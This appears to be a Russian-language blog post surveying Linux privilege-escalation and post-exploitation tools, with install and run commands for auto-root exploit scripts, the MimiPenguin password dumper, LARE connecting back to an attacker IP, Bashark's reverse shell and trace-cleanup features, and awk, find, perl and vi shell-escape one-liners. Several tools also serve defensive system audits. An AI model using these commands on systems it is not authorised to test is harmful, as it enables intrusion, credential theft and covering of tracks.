April 11, 2019

Повышение привилегий в Linux

Наш telegram канал : @Save and betray

Вступай в наши ряды

  1. Эскалация — (повышение привилегий) — это эксплуатация уязвимостей в операционной системе или прикладном ПО, позволяющая получить доступ к ресурсам, которые обычно защищены от определенного пользователя. В результате хакер имеет больше привилегий, чем предполагалось разработчиком или системным администратором, и может выполнять несанкционированные действия в целевой системе.

PXEnum

Основная задача данного скрипта — функция перечисления (англ. Enumeration). Он вытаскивает всю доступную информацию о системе. Скрипт создан для настоящих лентяев. Хорошо, если высказаться более политкорректно, то «для тех, кто ценит свое время». Встроенные команды позволяют также угонять хеши паролей, содержание директорий, все сведения о системе, наличие application-серверов, приложений, соединений, юзеров.

Для запуска скрипта не требуются права root, он работает в стандартном терминале. Перед установкой скачиваем инструмент с помощью Wget:

$ wget https://raw.githubusercontent.com/shawnduong/PXEnum/master/PXEnume.sh

Установка PXEnum:

$ git clone https://github.com/shawnduong/PXEnum.git

$ cd PXEnum/

$ chmod +x PXEnum.sh

$ bash PXEnum.sh

Другой вариант запуска PXEnum:

$ sh PXEnum.sh

MIDA Multitool

Другой интересный инструмент — MIDA Multitool, созданный на базе менее популярных собратьев SysEnum и RootHelper, но предлагающий гораздо больше возможностей.

По воле разработчика MIDA Multitool объединяет в себе отдельные функции своих предшественников, а именно:

  • SysEnum — Bash-скрипт, предназначенный для получения основной информации о системе, включая следующие данные: текущий пользователь, IP-конфигурация, таблицы ARP, запущенные процессы;
  • RootHelper — призван помочь в деле эскалации привилегий в системе, которая была скомпрометирована, при помощи выполнения ряда перечислений и использования доверительных сценариев.

Установка MIDA Multitool в систему с GitHub:

$ git clone https://github.com/NullArray/Bash-Kit-Multitool

$ cd Bash-Kit-Multitool

$ chmod +x bashkit.sh

Запускаем скрипта MIDA Multitool :

$ /.bashkit.sh

Вывод некоторой информации по системе:

MimiPenguin

Очень хорошо известный в узких кругах пентестеров скрипт под названием MimiPenguin. Основная задача утилиты — сброс пароля на вход в систему от текущего пользователя Linux (то есть непривилегированного). В некотором роде это аналог утилиты mimikatz для дампа пароля в Windows-системах.

Кроме того, MimiPenguin поддерживает такие приложения, как VSFTPd (активные подключения клиента FTP), Apache 2 (активные/старые сеансы HTTP BASIC AUTH, но для этого требуется Gcore) и OpenSSH-сервер (активные подключения SSH с использованием команды sudo). И вообще, необходимо сказать, что MimiPenguin нередко становится частью эксплоитов под Linux, так что тулза очень и очень востребована.

Установка MimiPenguin с репозитория GitHub:

$ git clone https://github.com/huntergregal/mimipenguin

Если у вас еще не установлен GitHub, то используйте эти команды:

$ apt install git       // Debian/Ubuntu systems

$ yum install git       // RHEL/CentOS systems

Переходим в директорию MimiPenguin и запускаем скрипт:

$ cd mimipenguin

$ ls –a

$ chmod +x mimipenguin.sh

$ ./mimipenguin.sh

Auto-Root-Exploit

Сингловый скрипт, созданный для одной-единственной цели — получить права root на текущую учетную запись, под которой он был запущен с помощью эксплуатации известных багов. Поддерживает версии ядра, начиная с Linux Kernel 2.6 и до 4.8.0-41-generic, а также часть ОС семейства *BSD.

Установка Auto-Root-Exploit в систему:

$ git clone https://github.com/nilotpalbiswas/Auto-Root-Exploit

$ cd Auto-Root-Exploit

$ chmod +x autoroot.sh

Проверка версии ядра (для того чтобы выбрать нужный эксплоит-пак):

<span class="pln">$ uname </span><span class="pun">–</span><span class="pln">a</span>

Использование Auto-Root-Exploit:

$ bash autoroot.sh N

for kernel version 2.6 all

bash autoroot.sh 2

for kernel version 3 all

bash autoroot.sh 3

for kernel version 4 all

bash autoroot.sh 4

for freebsd & openbsd all

bash autoroot.sh bsd

for apple macos all

bash autoroot.sh app

for kernel 2.6,3,4 bsd & app all

bash autoroot.sh all

LARE

И напоследок еще один довольно простой скрипт, который позволяет с помощью использования известных уязвимостей в ядре ОС получать привилегии root удаленно с атакующей машины. Скрипт использует локальные эксплоиты для получения root-прав для версий ядра Linux Kernel v2.6 — v4.8.

Кстати, этот инструмент очень часто находит свое применение в различных War Games и CTF-соревнованиях, например hackthebox.gr, или даже на сертификационном экзамене OSCP.

Устанавка LARE в систему:

$ git clone https://github.com/EnigmaDimitri/LARE && cd LARE

$ chmod +x LARA.sh

Пример локального запуска LARE:

$ LARE.sh -a

или

$ ./LARE.sh -a

Запуск скрипта на целевой машине в сети:

$ LARE.sh -l [Attackers-IP]

Запуск на машине с подключением к базе данных эксплоитов на GitHub:

$ LARE.sh -l or ./LARE.sh -l

Проверка и защита системы от техник постэксплуатации

Кроме традиционных мер, таких как установка патчей и минимизация привилегий, безопасность системы дополнительно обеспечивают специальные утилиты для проверки системы. В противовес популярному мнению (согласно которому к постэксплуатации ведут только зиродеи или устаревший софт) к грандиозному факапу ведут и ошибки конфигурации — предоставление избыточных прав доступа, пароли по умолчанию, системные каталоги и файлы в общем доступе, выключенные опции безопасности в программах, работающих из коробки, и прочие огрехи.

Ниже будут представлены утилиты (скрипты) быстрого анализа системы и проверки ее на факт выполнения несанкционированных и потенциально опасных действий со стороны непривилегированных пользователей.

Bashark

Bashark — популярный скрипт, который помогает пентестерам и исследователям в области информационной безопасности тестить возможности управления системой после успешной эксплуатации.

Фирменные фичи и возможности, заявленные разработчиком:

  • быстрый запуск, мгновенная реакция;
  • мультиплатформенность: Unix, OS X, Solaris и другие;
  • отсутствие зависимостей от версии ядра ОС или установленных пакетов;
  • иммунитет к эвристическому и поведенческому анализу (обход средств защиты);
  • встроенные алиасы к популярным командам;
  • расширение стандартной оболочки bash-командами для постэксплуатации;
  • процедура заметания следов после завершения работы (Stealthy);
  • расширяемость — возможность дописывать свои команды и юзать из терминала;
  • поддержка табуляции при наборе команд.

Итак, качаем скрипт Bashark с помощью Git:

1

$ git clone https://github.com/TheSecondSun/Bashark.git

Переходим в соответствующую директорию и даем права на выполнение:

$ cd Bashark

$ chmod +x bashark.sh

Запускаем Bashark:

$ ./bashark.sh

В чем еще уникальность Bashark? С помощью опции portscan мы можем сканировать внутреннюю сетку из-под одной скомпрометированной машины. Чтобы получить все файлы конфигурации с другой взломанной машины на Linux, можно использовать опцию getconf. Команда позволяет извлекать все файлы конфигурации, хранящиеся в каталоге /etc. Точно так же легко и просто можно использовать опцию getprem для просмотра всех двоичных файлов на целевой системе.

Сканируем удаленную машину с помощью Bashark:

$ portscan <target’s IP>

Получаем конфиги:

$ getconf

Получаем файлы:

$ getprem

Получаем реверс-шелл:

$ revshell <target’s IP> <Port 31337>

Еще одна приятная мелочь — это фича самоочистки (удаления следов работы в системе). Например, если вы создавали файлы или каталоги во время работы в контексте Bashark с помощью опции -t (создать файл) или -mkd (создать каталог), подпрограмма quit (то есть завершение работы) будет активировать директиву cleanup, затирающую все следы присутствия в системе.

LinEnum

Данный скрипт представляет собой экспресс-тест по таким позициям, как Kernel and distribution release details, System Information, Privileged access, Jobs/Tasks, Services, Default/Weak Credentials, Searches, Platform/software specific tests.

Скрипт LinEnum успешно протестирован на различных версиях дистрибутивов Ubuntu, Debian, Red Hat и CentOS. Программа не ищет и не пытается выполнять эксплоиты, как некоторые другие аналогичные рассмотренные в статье инструменты повышения привилегий в Linux, — она только собирает информацию и делает проверки возможных векторов эскалации привилегий.

Установка LinEnum в систему:

1

2

$ git clone https://github.com/rebootuser/LinEnum

$ cd LinEnum/

Простой запуск с вызовом списка ключей:

1

$ ./LinEnum.sh

Пример запуска LinEnum с опциями (ключами):

1

$ ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

Описание ключей LinEnum:

  • -k — ввести ключевое слово
  • -e — указать директорию для экспорта отчета
  • -t — включить в отчет «длинные» тесты (дополнительные тесты)
  • -s — произвести проверку эскалации текущей учетки sudo perms
  • -r — задать имя итогового отчета
  • -h — вызвать встроенную справку по программе
  • -k — опциональный переключатель, с которым можно указать ключевое слово для поиска файлов по нескольким расширениям

Запуск без опций означает ограниченное сканирование без файла вывода.

LinuxPrivChecker

Еще один полезный в эскалации привилегий скрипт, написанный на Python. Этот инструмент предназначен для локального выполнения в системе с целью перечисления базовой системной информации и поиска общих векторов повышения привилегий, таких как общедоступные файлы, неверные конфигурации демонов и библиотек, пароли, хранимые в виде открытого текста, и баги, соответствующие наиболее популярным эксплоитам.

Основные области проверки:

  • основная информация о системе (ОС, ядро, имя системы и так далее);
  • информация о сети (ifconfig, route, netstat и т. д.);
  • разная информация о файловой системе (mount, fstab, cron jobs);
  • информация о пользователе (текущий пользователь, все пользователи, суперпользователи, история команд);
  • права доступа к файлам и каталогам (доступные для записи файлы/каталоги, файлы suid, корневой домашний каталог);
  • файлы, содержащие незашифрованные пароли;
  • интересные файлы, процессы и приложения (все процессы и пакеты, все процессы, запускаемые пользователем root и связанные пакеты, версия sudo, файл конфигурации Apache);
  • все установленные языки и инструменты (GCC, Perl, Python, Nmap, Netcat, Wget, FTP и так далее);
  • все соответствующие эксплоиты повышения привилегий (с использованием базы данных эксплоитов с применимыми версиями ядра, пакетами/процессами программного обеспечения).

Проверка на эскалацию привилегий производится в следующих программах:

nmap

-interactive

vi

:!bash

:set shell=/bin/bash:shell

awk

awk ‘BEGIN {system(“/bin/bash”)}’

find

find / -exec /usr/bin/awk ‘BEGIN {system(“/bin/bash”)}’ \;

perl

perl -e ‘exec “/bin/bash”;’

Итак, качаем скрипт LinuxPrivChecker:

1

$ wget http://www.securitysift.com/download/linuxprivchecker.py

Запускаем LinuxPrivChecker с помощью всего лишь одной команды:

1

2

$ chmod +x linuxprivchecker.py

$ ./linuxprivchecker.py

Или другой вариант запуска LinuxPrivChecker:

1

$ python linuxprivchecker.py

Unix-privesc-check

Unix-privesc-checker — это мощный скрипт, работающий в Unix-системах (протестирован на Solaris 9, HPUX 11, различных Linux 3.х и FreeBSD 6.2+). После запуска скрипт пытается найти неправильные твики конфигурации системы, процессы, которые могут позволить локальным непривилегированным пользователям повышать привилегии других юзеров или получать доступ к локальным приложениям, например базам данных MySQL.

Основные области проверки:

  • слабые пароли и значения по умолчанию;
  • конфигурация стека IP (без ненужного использования IPv6, без форвардинга IP-пакетов и так далее);
  • некорректные права доступа к файлам (чтение/изменение конфиденциальных данных);
  • настройка локальных приложений (просмотр sshd_confighttpd.conf);
  • другие полезные вещи (например, удаленное ведение журнала, использование небезопасных протоколов TCP/IP).

Основное внимание разработчики данного скрипта уделяют проверке на предмет распространенных ошибок в конфигурации системы и некорректно настроенных разрешений на доступ к директориям и файлам. Важно отметить, что скрипт не проверяет наличие отсутствующих патчей для ядра ОС или установленных пакетов, но это и не его задача, ведь для ее решения существуют более сложные утилиты, о которых мы рассказывали в нашем предыдущем материале про аудит Linux.

Скрипт может запускаться как от имени обычного пользователя, так и от имени root. В последнем случае у скрипта больше привилегий и он может выполнить ряд тестов, недоступных из-под учетной записи непривилегированного пользователя. Для регулярного мониторинга запуск скрипта можно прописать как задание cron.

Пример запуска скрипта Unix-privesc-check:

1

$ ./unix-privesc-check > output.txt